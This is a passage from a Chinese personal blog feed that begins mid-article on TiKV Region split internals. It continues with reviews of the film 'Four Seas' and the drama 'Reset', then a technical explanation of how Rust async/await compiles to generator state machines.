self.buckets.swap_remove(mid); let key = keys::origin_key(&data_key).to_vec(); vec![key] } } 在后续计算中点 Key 的过程中,也只需要取我们收集到的 Key 的中间元素,即可获得近似的 Region Size 中点,用于后续的切分。 对于具体 approximate_split_keys 的实现取决于不同的 KV Engine,以默认的 RocksDB 为例,为了避免对整个区间上全 Key-Value 的扫描,我们使用了 RocksDB 的 TableProperties 特性,来在 RocksDB 构建每个 SST 文件的时候就提前收集一些 Key 相关的信息,从而可以在此时避免进行 I/O 操作即可获得近似的 Key Range 上的 Key 信息,再辅之以采样等手段,相较于 Scan 策略会更不精准,但省去了不少资源。对应的代码在 RocksEngine::get_range_approximate_split_keys_cf 方法中。 Size SizeCheckObserver 实现了根据 Region Size 切分 Region 的策略。其逻辑相对简单,在默认配置下,会对 Region 的 KV 进行 Scan 遍历,每扫描过 96 MB 的数据便会记录下当前的 Key,一次最多记录 10 个。 fn on_kv(&mut self, _: &mut ObserverContext<'_>, entry: &KeyEntry) -> bool { let size = entry.entry_size() as u64; self.current_size += size; let mut over_limit = self.split_keys.len() as u64 >= self.batch_split_limit; if self.current_size > self.split_size && !over_limit { self.split_keys.push(keys::origin_key(entry.key()).to_vec()); // if for previous on_kv() self.current_size == self.split_size, // the split key would be pushed this time, but the entry size for this time should not be ignored. self.current_size = if self.current_size - size == self.split_size { size } else { 0 }; over_limit = self.split_keys.len() as u64 >= self.batch_split_limit; } // For a large region, scan over the range maybe cost too much time, // so limit the number of produced split_key for one batch. // Also need to scan over self.max_size for last part. over_limit && self.current_size + self.split_size >= self.max_size } fn split_keys(&mut self) -> Vec<Vec<u8>> { // make sure not to split when less than max_size for last part if self.current_size + self.split_size < self.max_size { self.split_keys.pop(); } if !self.split_keys.is_empty() { std::mem::take(&mut self.split_keys) } else { vec![] } } approximate_split_keys 的实现和 Half 类似,在此不表,依然是基于 RocksDB 的 TableProperties 功能。 Keys KeysCheckObserver 实现了根据 Region Key 数量切分 Region 的策略,其原理和 SizeCheckObserver 相同,只不过把计算方式改成了 Key 数量的统计,在此不过多展开, Tabel TableCheckObserver 实现了根据 Region 范围内 Key 所属的 Table 进行切分的策略。这个 Checker 的实现比较特殊,它在 TiKV 内部引入了 SQL 层的概念。原理也比较简单,在 Scan 时去 Decode 每个 Key,检查其所属的表 ID 和之前 Key 是否相同,若不同则加入 Split Key 进行分裂。 /// Feed keys in order to find the split key. /// If `current_data_key` does not belong to `status.first_encoded_table_prefix`. /// it returns the encoded table prefix of `current_data_key`. fn on_kv(&mut self, _: &mut ObserverContext<'_>, entry: &KeyEntry) -> bool { if self.split_key.is_some() { return true; } let current_encoded_key = keys::origin_key(entry.key()); let split_key = if self.first_encoded_table_prefix.is_some() { if !is_same_table( self.first_encoded_table_prefix.as_ref().unwrap(), current_encoded_key, ) { // Different tables. Some(current_encoded_key) } else { None } } else if is_table_key(current_encoded_key) { // Now we meet the very first table key of this region. Some(current_encoded_key) } else { None }; self.split_key = split_key.and_then(to_encoded_table_prefix); self.split_key.is_some() } 由于工作原理决定了它只能基于 Scan 策略进行工作,所以没有提供 approximate_split_keys 方法的实现。 优先级 上面一共介绍了 TiKV 支持的 4 种 Split 方式,那么具体工作过程中,实际到底哪一个方式会被触发呢?答案是都有可能。 每个 SplitChecker 都会被加入到一个 SplitCheckerHost 中,并被赋予不同的优先级,每次 Split 都会依次“询问”每个 SplitChecker 的“意见”,如果高优先级的 Checker 不能给出 Split Key 那么就依次向更低优先级的 Checker 轮训,直到得到一个 Split Key 或确认无法 Split。优先级在将 SplitChecker 注册到 Coprocessor 时就被定义好了,代码位于 CoprocessorHost::new。 pub fn new<C: CasualRouter<E> + Clone + Send + 'static>( ch: C, cfg: Config, ) -> CoprocessorHost<E> { let mut registry = Registry::default(); registry.register_split_check_observer( 200, BoxSplitCheckObserver::new(SizeCheckObserver::new(ch.clone())), ); registry.register_split_check_observer( 200, BoxSplitCheckObserver::new(KeysCheckObserver::new(ch)), ); registry.register_split_check_observer(100, BoxSplitCheckObserver::new(HalfCheckObserver)); registry.register_split_check_observer( 400, BoxSplitCheckObserver::new(TableCheckObserver::default()), ); CoprocessorHost { registry, cfg } } 可以看到 HalfCheckObserver 有最高优先级,其次是 SizeCheckObserver 和 KeysCheckObserver,TableCheckObserver 最低。但是我们所见到的大多数 Region 分裂都是基于 Size 的,Half 分裂尽管有最高优先级,为什么不会被频繁触发呢?答案是我们每次基于注册在 Coprocessor 的 Split Checker 创建 SplitCheckerHost 时(代码入口在 CoprocessorHost::new_split_checker_host),并不会将所有的 Checker 都导入,而是根据不同的配置以及场景进行有选择的添加。例如只有 auto_split 选项设置为关闭时,HalfCheckObserver 才会被添加到 Host 中,这个选项在 TiKV 定时检查触发 Split 时会开启,所以在对应场景下 HalfCheckObserver 不会起作用。 #[derive(Clone)] pub struct HalfCheckObserver; impl Coprocessor for HalfCheckObserver {} impl<E> SplitCheckObserver<E> for HalfCheckObserver where E: KvEngine, { fn add_checker( &self, _: &mut ObserverContext<'_>, host: &mut Host<'_, E>, _: &E, policy: CheckPolicy, ) { if host.auto_split() { return; } host.add_checker(Box::new(Checker::new( half_split_bucket_size(host.cfg.region_max_size().0), policy, ))) } } 再例如只有当 split_region_on_table 配置开启时,TableCheckObserver 才会被添加到 Host 中,该配置默认关闭。 #[derive(Default, Clone)] pub struct TableCheckObserver; impl Coprocessor for TableCheckObserver {} impl<E> SplitCheckObserver<E> for TableCheckObserver where E: KvEngine, { fn add_checker( &self, ctx: &mut ObserverContext<'_>, host: &mut Host<'_, E>, engine: &E, policy: CheckPolicy, ) { if !host.cfg.split_region_on_table { return; } ... } 所以说在大多数情况下,只有 KeysCheckObserver 和 SizeCheckObserver 主导 Region 的分裂方式。 Region Split 的执行过程 通过 Raftstore 的 Coprocessor 确定好 Region 的 Split Key 后,最后就来到了 Split 的执行阶段。Region 的 Split 任务会被下发到具体的 Region,继而触发 PeerFsmDelegate::on_prepare_split_region 函数,正式开启 Region 的 Split 执行。 Pre-check 首先 TiKV 会再次确认当前 Region 为 leader,并检查 Epoch 等属性是否发生了变化,Epoch 内的 Version 属性只有在完成 Split 或 Merge 的情况下才会增加,因为 Version 一定是严格单调递增的,所以 PD 使用了这个规则去判断范围重叠的不同 Region 的新旧。在检查通过后,便向 PD 发送 AskBatchSplit 请求为即将分裂出来的新 Region 获取 Region ID,并触发 Raft 开始进行 Split log 的 Proposal。 info!( "try to batch split region"; "region_id" => region.get_id(), "new_region_ids" => ?resp.get_ids(), "region" => ?region, "task" => task, ); let req = new_batch_split_region_request( split_keys, resp.take_ids().into(), right_derive, ); let region_id = region.get_id(); let epoch = region.take_region_epoch(); send_admin_request( &router, region_id, epoch, peer, req, callback, Default::default(), ); Raft Proposal & Apply 通过 Raft log 将 Split 同步到各个 Peer 之上完成 Commit 之后,ApplyDelegate::exec_batch_split 便开始执行 Region 的分裂。创建新 Region,更改 Region 边界,并将 Region 的新信息写入落盘。 for new_region in &regions { if new_region.get_id() == derived.get_id() { continue; } let new_split_peer = new_split_regions.get(&new_region.get_id()).unwrap(); if let Some(ref r) = new_split_peer.result { warn!( "new region from splitting already exists"; "new_region_id" => new_region.get_id(), "new_peer_id" => new_split_peer.peer_id, "reason" => r, "region_id" => self.region_id(), "peer_id" => self.id(), ); continue; } write_peer_state(kv_wb_mut, new_region, PeerState::Normal, None) .and_then(|_| write_initial_apply_state(kv_wb_mut, new_region.get_id())) .unwrap_or_else(|e| { panic!( "{} fails to save split region {:?}: {:?}", self.tag, new_region, e ) }); } write_peer_state(kv_wb_mut, &derived, PeerState::Normal, None).unwrap_or_else(|e| { panic!("{} fails to update region {:?}: {:?}", self.tag, derived, e) }); 在默认的分裂方式下,原 Region 要分裂到右侧,举例而言,假设分裂前的 Region 数量一共有 2 个,ID 分别为 1 和 2。2 是即将要分裂的 Region,且 Split Key 为 "b"。 Region 1 ["", "a"), Region 2 ["a", "") 分裂后的新 Region 被分配了 ID 3,那么分裂后的 Region 会形如: Region 1 ["", "a"), Region 3 ["a", "b"), Region 2 ["b", "") 在 TiKV 完成 Split log 的 Apply 后,会通过 ApplyResult::Res 事件触发 PeerFsmDelegate::on_ready_split_region 来完成 Split 的预后工作。如果当前 Region 是 leader,则会给 PD 发送一个 Report(Batch)Split 的 RPC 请求,仅供 PD 打个日志记录,方便我们在查问题时通过 PD 的日志看到各个 Region 的 Split 记录。由于 Region 的 ID 分配也是严格保证单调递增,所以我们可以说 Region ID 越大的 Region 则越新。 if is_leader { self.fsm.peer.approximate_size = estimated_size; self.fsm.peer.approximate_keys = estimated_keys; self.fsm.peer.heartbeat_pd(self.ctx); // Notify pd immediately to let it update the region meta. info!( "notify pd with split"; "region_id" => self.fsm.region_id(), "peer_id" => self.fsm.peer_id(), "split_count" => regions.len(), ); // Now pd only uses ReportBatchSplit for history operation show, // so we send it independently here. let task = PdTask::ReportBatchSplit { regions: regions.to_vec(), }; if let Err(e) = self.ctx.pd_scheduler.schedule(task) { error!( "failed to notify pd"; "region_id" => self.fsm.region_id(), "peer_id" => self.fsm.peer_id(), "err" => %e, ); } } 其余则是一些向 PD 上报心跳,统计信息的初始化工作,更新分裂后的 Region epoch 并在 Raft group 中注册 Region 的路由。这些工作完成后,当前 TiKV 上的 Region 可以说是已经完成分裂了。 Raft Election 对于分裂前的原 Region 是 Leader 的 Peer 来说,分裂后的 Region 是可以立马发起选举的,而对于原 Region 非 Leader 的 Peer 来说,它分裂创建出的新 Region 是不能立马发起选举的,而是需要等待一个 Raft 的选举超时时间。这样实现的原因是存在下列的 Case: 假设有一个 3 副本的 Region Split 的 Log 已经复制到了所有的 Follower 上 所有的 Follower 完成了 Region Split Log 的 Apply,完成了分裂 Region 的 Leader 还没有开始或完成分裂 如果允许原 Peer 非 Leader 的新 Region 分裂出来后立马开始选举,则会出现同一个数据范围内存在两个 Region leader 对外提供服务,一个是分裂后的新的更小的 Region leader,一个是尚未分裂的原 Region leader(Lease 尚未过期),这样一来就存在破坏线性一致性的可能。由于一次 Raft 的选举超时时间要大于 Leader 的 Lease 时间,所以只要我们保证以下两点: 完成分裂的 Region 等待一个 Raft 的选举超时时间再开始选举 需要 Split 的 Region 不再续约 Lease 所以当新分裂的 Region 开始选举时,旧的 Region leader 早些时候一定会因为发现自身的 Epoch 与其余两个 Follower 不同而选举失败完成退选。 踩坑经验 Split Key 的格式为 Encoded Key without TS 在 TiDB 和 TiKV 的语境下,当我们说到 Key 编码时,它可能指的是以下几种情况: Raw Key Encoded Key without TS Encoded Key with TS TiDB 在发送请求时使用的是 Raw Key,也即不带任何与 MVCC 相关的信息,也没有 Padding,只包括诸如 TableID,RowID 等基本信息。 TiKV 的 Raftstore 以及 PD 在处理诸如 Region 边界,Split 等 Key 时使用的是 Encoded Key without TS,它在 Raw Key 的基础上进行了 Encode,添加了用于保持字典序的 Padding,但由于此层尚未涉及到具体的事务,所以并没有 TS 参与其中。 TiKV 在实际读写底层 RocksDB 数据时,会将请求的 TS 一并 Encode 到 Key 里来区分 MVCC 信息,所以这一层使用的是 Encoded Key with TS。 Region Split 发生在 Raftstore 这一层,所以其格式均为 Encoded Key without TS,在开发相关功能时,要注意对 Key 进行 Encode,并且剔除 TS 信息,以免出现一些预期外的行为。 参考 TiKV 源码解析系列文章(二十)Region Split 源码解析 TiKV 源码解析系列文章(十九) read index 和 local read 情景分析 | PingCAP TiKV 源码解析系列文章(十八) Raft Propose 的 Commit 和 Apply 情景分析 | PingCAP Deep Dive TiKV Region 的一生 Tipedia • Memory Comparable Encoding

2022/5/26
articleCard.readMore

韩寒的四海

2022 年春节档,要死不活了大半年后,院线终于出现了一些可以让电影院热闹起来的电影,这里面我最想看的是《四海》。 第一次接触导演身份的韩寒,其实已经是他第三部院线作品《飞驰人生》了,但我猜这可能是这四部里面最不韩寒的一部作品。看完《四海》以后我又补看了《后会无期》,两部拥有极其相似内核的作品在某种程度上证实了我的猜测,飞驰人生确实是一部「例外」(尽管我还没看《乘风破浪》)。 以小岛青年的出走作为开端,讲得到和失去的故事。浩汉和仁耀两个角色的路线是相同的,他们都在故事的某个阶段拥有了一些东西,紧接着便开始失去,浩汉失去了他的父亲(某种意义上来说,失去了 2 次)、失去了自己的爱情(这里是「有情人终成兄妹」的恶趣味),最后失去了自己的车子,以及结尾留白处,可能也失去了的生命。 比起浩汉,仁耀的失去没有那么隐晦,他失去了自己的朋友,失去了赛车,失去了爱人。结尾珠江上的一跃让我很震撼,《飞驰人生》结尾的一跃也让我很震撼,但这两者的跃是不同的。后者的跃,是摆脱了重力的跃,它是角色的自我救赎,是向上的;而前者的跃,是一种注定无法离地的跃,它是角色的坠落,是向下的。伴随着死亡,江水和竹蜻蜓的蒙太奇,背景音乐《无法离地的飞行》让我相信至少在那个镜头,我触摸到了韩寒。 《四海》是掺杂了商业包装的韩寒。比起《后会无期》里更纯粹的裸核,角色直言不讳的说出韩式金句和鸡汤,《四海》用很多商业片的元素取代了这些特点:沈腾的喜感、只出现了半段的赛车飙车、小镇青年在大城市的碰撞......这些是大多数观众喜闻乐见的韩寒。而还有很多观众不太能注意到的韩寒。 欢颂说:「我讨厌水,水可怕。」 阿耀说:「水有什么可怕的,火才可怕。」 最后一个人沉入水底,一个人冲进了火焰。 结尾的蒙太奇中,阿耀在隧道里说出过的愿望又重新出现,愿望变成了梦境:在布满乱石的海雾中抓螃蟹,如果不是跌倒了,我们谁也不搀扶谁。这份愿望和广州之行的应照,颇有一种「预言的自我实现」的宿命感。 总有一扇门,你打不开。总有一条河,你越不过。 韩寒的主人公,也总是不自觉地让我想起村上春树。毫无世俗气息的那种气质,离开家乡,离开小岛,前往未知地冒险,从祖国最东边来到最西边,从小渔村来到大城市,这种出世感总是围绕着两个人的作品,个体感情的无常才是主旋律。而《四海》的后半部分,在描述两人在大城市求生存时,有那么一部分「入世」的剧情,出世的韩寒显然不擅长拍这描述「主人公和现代社会的正面冲突」的部分,这也是影片节奏失衡最明显的一个段落。不过这部分拙劣反而让我略微安心,这让我确信他所擅长和想要表达的并不在此。 豆瓣 5.6 分的结果显然是低了,但并不意外,韩寒只是在春节档带来了一部不适合在春节档观看的电影。

2022/2/4
articleCard.readMore

浅谈《开端》在剧作上的瑕疵

在开始之前,我想先念叨几句。 《开端》这部剧其实我很早就关注了,起因是我女朋友是白敬亭的粉丝,所以对他的动向一直有所关注,去年底看到豆瓣条目,彼时的《开端》还是 20 集的长度。后来随着杀青和一系列制作的完成,最终成片为 15 集,单集片长 40 分钟。最初看到这个剧集长度我其实是满意的,毕竟从剧情概要上看也是所谓的“源代码”式国产“无限流”,难免会有场景时空重复,缩短剧集长度其实是一个明智之举,但这也对剧本,对导演来说是一个考验。 对于拍摄剧集,甚至说拍摄电影和拍摄短片来说,叙事节奏其实是比剧情本身更重要,更为考验导演功底的存在,小学语文老师针对写作文常说的一句话就是“详略得当”,如何把控好故事的节奏,在视听语言上做到“详略得当”是影视作品最后的成品能否做到有质感的第一要义。 其次便是人物,事件需要人物的参与和推动。舞台成型,作者退居幕后,角色来到台前。此时故事成品能否做到有质感的第二要义是故事能否仅由角色在舞台框架下的所思所想和所言所行来向前发展,而无需作者从幕后“现形”进行干预。后者在现实中的例子可以是各种剧作上巧合的引入,或是突然抛出的未知剧情,亦或是“机械降神”等强烈出格的手段。 在做好了这两点基础,也即节奏和人物之后,能进一步提升作品质感的,便是冲突的设置。冲突是影视作品中非常核心的一个概念,当一群角色因为不同的理念利益聚集到一起时,冲突的产生,爆发以及解决便是剧情与情感的多个释放点,能否牵动观众,打动观众甚至冒犯观众都会基于此而来。录像带之于《隐秘的角落》,江阳的死之于《沉默的真相》,爆炸案之于《开端》都是剧情的核心冲突点,其他冲突的发展与变化往往都来自于它们。能否处理好,引爆好或是解决这些冲突,也是剧作的功力所在。 那么《开端》在剧作上有些什么瑕疵呢?首先是叙事节奏,前十集把大量的篇幅花费在了男女主通过循环反复尝试和试探凶手上——剧情上这是合理的,但对于上帝视角的观众来说,其中许多情节其实是显而易见的,例如二次元小哥和瓜农大叔,可以很轻易地通过剧作套路和画面信息被观众排除,导演没有选择利用这一点进行一些反套路的设定(例如让前期一些被观众忽略的角色在中后部发挥至关重要的剧情扭转作用,达到出乎意料的效果),而是选择了“顺水推舟”让大量的剧情正中观众下怀,毫不意外的展开很容易让观众失去耐心。其中我比较印象深刻的几集都不是公交车上的动作戏或是警局里的对峙戏,反而是对二次元小哥,西瓜大叔以及见义勇为大叔在戏外人物形象的描写,很能牵动我,更容易让观众完成从一车素不相识的乘客到最后每一位都是鲜活人生写照的认知转变。 说到这就来到了第二部分,人物。如前所言,对公交车上其他乘客进行车外故事描写的部分我很喜欢,但同样的一个问题是,导演没有利用好这些人物的背景故事、动机和观众对他们的感情基础。这里面较为出彩人物设置其实是见义勇为大叔,通过他的背景故事埋下了“消防安全检查提前”的伏笔,以及通过爆炸后警方对其的调查引出了凶手所在地(港务新村),最后在阻止爆炸的过程中也是他发挥了比二次元小哥更直接的作用,而且他朴实的“见义勇为可以拿钱补贴家用”的动机也更纯粹,相比较二次元小哥能被叫出中二名就愿意帮忙来说,更能让观众理解与共情。事实上整部剧结束后我们能看到的,车上乘客在终局中扮演的作用无非只有一个——协助男女主阻止爆炸的工具人。说到这就引出了另外一个问题,如何更好地利用这些人物生平与形象?这里的答案我相信是仁者见仁,智者见智。我的一个想法是也许可以从“爆炸后的人生”这一点入手,首先不能把车上乘客的经历在大结局之前简单的设置成要么被炸死,要么就没有后续。刚出狱的爸爸因身陷爆炸案嫌疑而被影响父子关系,无家可归的父亲身无分文继续在城市中流浪,卢笛因险些“被”献出心脏而被母亲发现秘密基地最终导致猫猫全部被扔……这些更立体的人物困境其实要比死亡更能牵动观众的心,男女主若是能因为目睹到这些而进一步坚定走向 HE 的信念和决心,似乎要比救人一命更有戏剧上的说服力。无奈在当前的循环设定上来看,因为只有从爆炸到睡着的半天时间这些似乎也很难展开。 “循环”这个设定,其实也是《开端》做的好也不好的地方。好在哪里呢?它更像是一种剧情道具,或者说一种情景实验:假设男女主身处于这样一种循环下,面对循环和爆炸他们会怎样反应,怎样行动。这也是这部剧直接的看点来源;不好在哪里?它本应该和爆炸一起是本作中核心的冲突来源,循环因何而起?怎样才能脱离循环?循环的原理是什么?这些问题统统没有解释,也没有看到一丝深入的打算。不过我更愿意相信这是有更深层次的难言之隐,毕竟如果不想突兀地引入科幻元素,考虑神秘主义在审查上会遇到的问题,似乎很难找到一种合适的框架去解释这一切,所以我认为回避这一点其实是制作中的有意为之。对于之前网络上各种双循环的剧情猜测,我觉得也是不错的一个思路,但最终结局选择了更为保守和平稳的女性保护社会议题,中间穿插了一些对网络暴力的反思,这也是一种立意的升华和加分项。 不吐不快,一口气写了这么多,本来还有很多点要吐槽,诸如凶手夫妇的实际作案动机变化过渡,最后一次循环的处理等等……但现在回看 15 集 40 分钟的片长似乎给谁拍都不够用啊,最开始的 20 集好像也挺合适,那就这样吧,毕竟可能被喷“你行你上啊”所以暂且写到这,就目前的成片来看 8.2 分还是过高了,不过作为国产中该类型剧的第一次,以资鼓励还是应该的。只希望以后限制越来越少,创作越来越多,让观众多一些不一样的题材和故事去选择。

2022/1/26
articleCard.readMore

Rust 的 async/await 语法是怎样工作的

从最开始的宏到现在的 Rust 关键字,距离 async/await 语法的 rfc 被提出已经过去将近 4 年了。相比于回调地狱,或者类似 CPS-Style 的铁索连环套娃(此处应有圣经传唱:一个 Monad 说白了不过就是自函子范畴上的一个幺半群而已),async/await 的存在无疑提供了一种良好的异步代码编写方式,它更像是把同步代码写法的异步化,让代码编写者能够最大限度的遵循同步代码编写方式,但同时提供异步的运行时表现。 不过,有言道:”哪有什么岁月静好,不过是有人替你负重前行“。想要代码写的爽,编译器一定会在背后做很多”脏活累活“。Rust 的 async/await 语法具体是怎样工作的?它又是如何将我们写的代码,转化成异步执行的呢? 先来看一段代码。 #[inline(never)] async fn x() -> usize { 5 } 再简单不过的一个 async 函数,只会返回一个 5,为了防止被编译器优化掉,我们给它加上了一个 #[inline(never)] 属性。这个异步函数的等价同步代码长这样: #[inline(never)] fn x() -> impl Future<Output = usize> { async { 5 } } async fn 其实就是会返回一个 Future trait 的函数。不过这一步转化并没有帮助我们更深地理解 async 关键字到底做了什么。为了一探究竟,我们可以尝试看看上述代码的 HIR 长什么样。HIR 是 Rust 在编译过程中的一个中间产物,在转化成更为晦涩难懂的 MIR 之前,它可以帮助我们一窥编译器的小小细节。 cargo rustc -- -Z unpretty=hir 输出如下(为了方便展示,我做了一些格式上的调整): #[inline(never)] async fn x() -> /*impl Trait*/ #[lang = "from_generator"](move |mut _task_context| { { let _t = { 5 }; _t } }) 此时我们终于看到了 Rust 中异步语义实现的核心:generator。不过上面这个函数的内容还是过于贫瘠了,甚至都没有涉及到今天文章的另一个主角 await。所以我们先在 x() 的基础上再加一个 y()。 #[inline(never)] async fn x() -> i32 { 5 } async fn y() -> i32 { x().await } y() 也是一个异步函数,它会在内部调用 x().await,即在 x() 返回结果前 block 住自己,不进行后续的操作。虽然在本例中 x() 并没有任何需要等待的操作,会直接返回 5,但在实际开发中,await 可能作用在各种各样的 Future 上,诸如锁的争用,网络 I/O 等,能够在此类操作不能被立马完成时提前返回并稍后再看也是异步编程的一个核心思想。此时我们再次输出 HIR,可以发现内容果然丰富了许多。 #[inline(never)] async fn x() -> /*impl Trait*/ #[lang = "from_generator"](move |mut _task_context| { { let _t = { 5 }; _t } }) async fn y() -> /*impl Trait*/ #[lang = "from_generator"](move |mut _task_context| { { let _t = { match #[lang = "into_future"](x()) { mut pinned => loop { match unsafe { #[lang = "poll"](#[lang = "new_unchecked"](&mut pinned), #[lang = "get_context"](_task_context)) } { #[lang = "Ready"] { 0: result } => break result, #[lang = "Pending"] {} => { } } _task_context = (yield ()); }, } }; _t } }) 为了方便讲解,我尝试把上述代码转化成 Rust 伪代码: #[inline(never)] fn x() -> impl Future<Output = usize> { from_generator(move |mut _task_context| { let _t = 5; _t }) } fn y() -> impl Future<Output = usize> { from_generator(move |mut _task_context| { let mut pinned = into_future(x()); loop { match unsafe { Pin::new_unchecked(&mut pinned).poll(_task_context.get_context()); } { Poll::Ready(result) => break result, Poll::Pending => {} } yield } }) } 可以看到整个转化主要干了两件事情: 把 async 块转化成一个由 from_generator 方法包裹的闭包 把 await 部分转化成一个循环,调用其 poll 方法获取 Future 的运行结果 这里的大部分操作还是比较符合直觉的:因为遇到了需要 await 完成的操作,所以运行一个循环去不停的获取结果,完成后再继续。注意到这里,当 x 所代表的 Future 还没有就绪时(即便在本例中并不会存在这种情况),loop 的运行会来到一个 yield 语句,而非 return。在开始阐述 generator 的 yield 之前,我们不妨先来思考一下,如果这里使用了 break 或 return,会有什么问题? break 很好思考,loop 循环直接结束,如果 y 函数后续还有其它操作那么就会被执行——这显然不符合 await 的语义,我们需要 block 在当前的 Future 上,而不是忽略其结果继续运行后续代码。 那么 return 呢?如果这个 Future 暂时不能 await 出结果,那么我们为了应该尽快完成上层函数的 poll 操作,不 block 当前 Executor 对其他 Future 的执行,直接返回一个 Poll::Pending——到目前为止都没什么问题,但问题的关键在于,如果 y() 这个 Future 被 Waker 唤醒后,再次被 poll 的时候会发生什么?它会把 await 之前的所有代码都再运行一遍,这显然也不是我们想要的。不论是操作系统的线程还是 Future 这种用户态的 Task,我们想要的任务调度切换显然是需要有一个“断点续传”的基本能力。对于系统线程来说,我们知道操作系统进行线程调度时,会将上下文信息保存好,以遍后续线程再次被运行时可以通过上下文切换再次恢复运行时的状态。那么 Rust 的异步是怎么做到这一点的呢?答案就是 generator。 再来看一段代码: #![feature(generators, generator_trait)] use std::ops::{Generator, GeneratorState}; use std::pin::Pin; fn main() { let mut generator = || { let mut val = 1; yield val; val += 1; yield val; val += 1; return val; }; match Pin::new(&mut generator).resume(()) { GeneratorState::Yielded(1) => {} _ => panic!("unexpected value from resume"), } match Pin::new(&mut generator).resume(()) { GeneratorState::Yielded(2) => {} _ => panic!("unexpected value from resume"), } match Pin::new(&mut generator).resume(()) { GeneratorState::Complete(3) => {} _ => panic!("unexpected value from resume"), } } 可以看到 generator 拥有自己的状态,当你在通过调用 resume() 方法来推进其执行状态时,它不会从头来过,而是从上一次 yield 的地方继续向后执行,直到 return。上面的代码会被转换成类似下面的代码: #![feature(generators, generator_trait)] use std::ops::{Generator, GeneratorState}; use std::pin::Pin; fn main() { let mut generator = { enum MyGenerator { Start, Yield1(i32), Yield2(i32), Done, } impl Generator for MyGenerator { type Yield = i32; type Return = i32; fn resume(mut self: Pin<&mut Self>, _resume: ()) -> GeneratorState<Self::Yield, Self::Return> { match std::mem::replace(&mut *self, MyGenerator::Done) { MyGenerator::Start => { let val = 1; *self = MyGenerator::Yield1(val); GeneratorState::Yielded(val) } MyGenerator::Yield1(val) => { let new_val = val + 1; *self = MyGenerator::Yield2(new_val); GeneratorState::Yielded(new_val) } MyGenerator::Yield2(val) => { let new_val = val + 1; *self = MyGenerator::Done; GeneratorState::Complete(new_val) } MyGenerator::Done => { panic!("generator resumed after completion") } } } } MyGenerator::Start }; match Pin::new(&mut generator).resume(()) { GeneratorState::Yielded(1) => {} _ => panic!("unexpected value from resume"), } match Pin::new(&mut generator).resume(()) { GeneratorState::Yielded(2) => {} _ => panic!("unexpected value from resume"), } match Pin::new(&mut generator).resume(()) { GeneratorState::Complete(3) => {} _ => panic!("unexpected value from resume"), } } 以上代码可以被正常编译通过,有兴趣的话可以到 Rust Playground 亲自试一试。可以看到整体思路其实就是一个状态机,每次 yield 就是一次对 enum 实现的状态进行推进,直到最终状态被完成。过程中与状态相关的数据还会被存储到对应的枚举类型里,以遍下一次被推进时使用。你可能已经注意到一个 generator 的 resume() 方法和 Future 的 poll 似乎有几分神似——都要求方法的调用对象是 Pin 住的,且都会返回一个表示当前状态的枚举类型。那么回到我们最开始的 x 和 y 函数部分,对应的 generator 代码在接下来的 Rust 编译过程中,也正是会被变成一个状态机,来表示 Future 的推进状态。伪代码如下: struct GeneratorY { state: i32, task_context: Context<'static>, future: dyn Future<Output = Vec<i32>>, } impl Generator for GeneratorY { type Yield = (); type Return = i32; fn resume(mut self: Pin<&mut Self>, resume: ()) -> GeneratorState<Self::Yield, Self::Return> { match self.state { 0 => { self.task_context = Context::new(); self.future = into_future(x()); self.state = 1; self.resume(resume) } 1 => { let result = loop { if let Poll::Ready(result) = Pin::new_unchecked(self.future.get_mut()).poll(self.task_context) { break result; } return GeneratorState::Yielded(()); }; self.state = 2; GeneratorState::Complete(result) } _ => panic!("GeneratorY polled with an invalid state"), } } } 可以看到每一个 Future 的本质其实都是一个 Generator,两者可以互相转换,例如 x 函数其实也是一个 Generator,它的实现会比 y 函数简单不少,毕竟只需要直接返回值,而没有额外需要 await 进行 yield 的状态。由于状态机本身就实现了 Future 方法,所以 into_future 也只是简单的进行了一个类型的转化,代码在这里。具体的 Future trait 实现则在 from_generator 的过程中: /// Wrap a generator in a future. /// /// This function returns a `GenFuture` underneath, but hides it in `impl Trait` to give /// better error messages (`impl Future` rather than `GenFuture<[closure.....]>`). // This is `const` to avoid extra errors after we recover from `const async fn` #[lang = "from_generator"] #[doc(hidden)] #[unstable(feature = "gen_future", issue = "50547")] #[rustc_const_unstable(feature = "gen_future", issue = "50547")] #[inline] pub const fn from_generator<T>(gen: T) -> impl Future<Output = T::Return> where T: Generator<ResumeTy, Yield = ()>, { #[rustc_diagnostic_item = "gen_future"] struct GenFuture<T: Generator<ResumeTy, Yield = ()>>(T); // We rely on the fact that async/await futures are immovable in order to create // self-referential borrows in the underlying generator. impl<T: Generator<ResumeTy, Yield = ()>> !Unpin for GenFuture<T> {} impl<T: Generator<ResumeTy, Yield = ()>> Future for GenFuture<T> { type Output = T::Return; fn poll(self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll<Self::Output> { // SAFETY: Safe because we're !Unpin + !Drop, and this is just a field projection. let gen = unsafe { Pin::map_unchecked_mut(self, |s| &mut s.0) }; // Resume the generator, turning the `&mut Context` into a `NonNull` raw pointer. The // `.await` lowering will safely cast that back to a `&mut Context`. match gen.resume(ResumeTy(NonNull::from(cx).cast::<Context<'static>>())) { GeneratorState::Yielded(()) => Poll::Pending, GeneratorState::Complete(x) => Poll::Ready(x), } } } GenFuture(gen) } from_generator 的源代码如上,可以看到 Future 转换成 Generator 后的 poll 的实现就等于进行一次 generator 的 resume,获得 GeneratorState::Yielded 即返回 Poll::Pending,获得 GeneratorState::Complete(result) 即返回 Poll::Ready(result) ,Context 则是作为 resume 的参数透传给状态机内部,整体逻辑还是非常清晰的。其中关于 Pin 的相关细节则是另一个比较繁杂的话题了,可以参考这篇博客进行学习:Rust 的 Pin 与 Unpin。 参考 Inside Rust's Async Transform Generators and async/await generators How Rust optimizes async/await I How Rust optimizes async/await II: Program analysis Xuanwo's Note: Rust std/Future

2022/1/24
articleCard.readMore

我为什么不再喜欢 Go 了

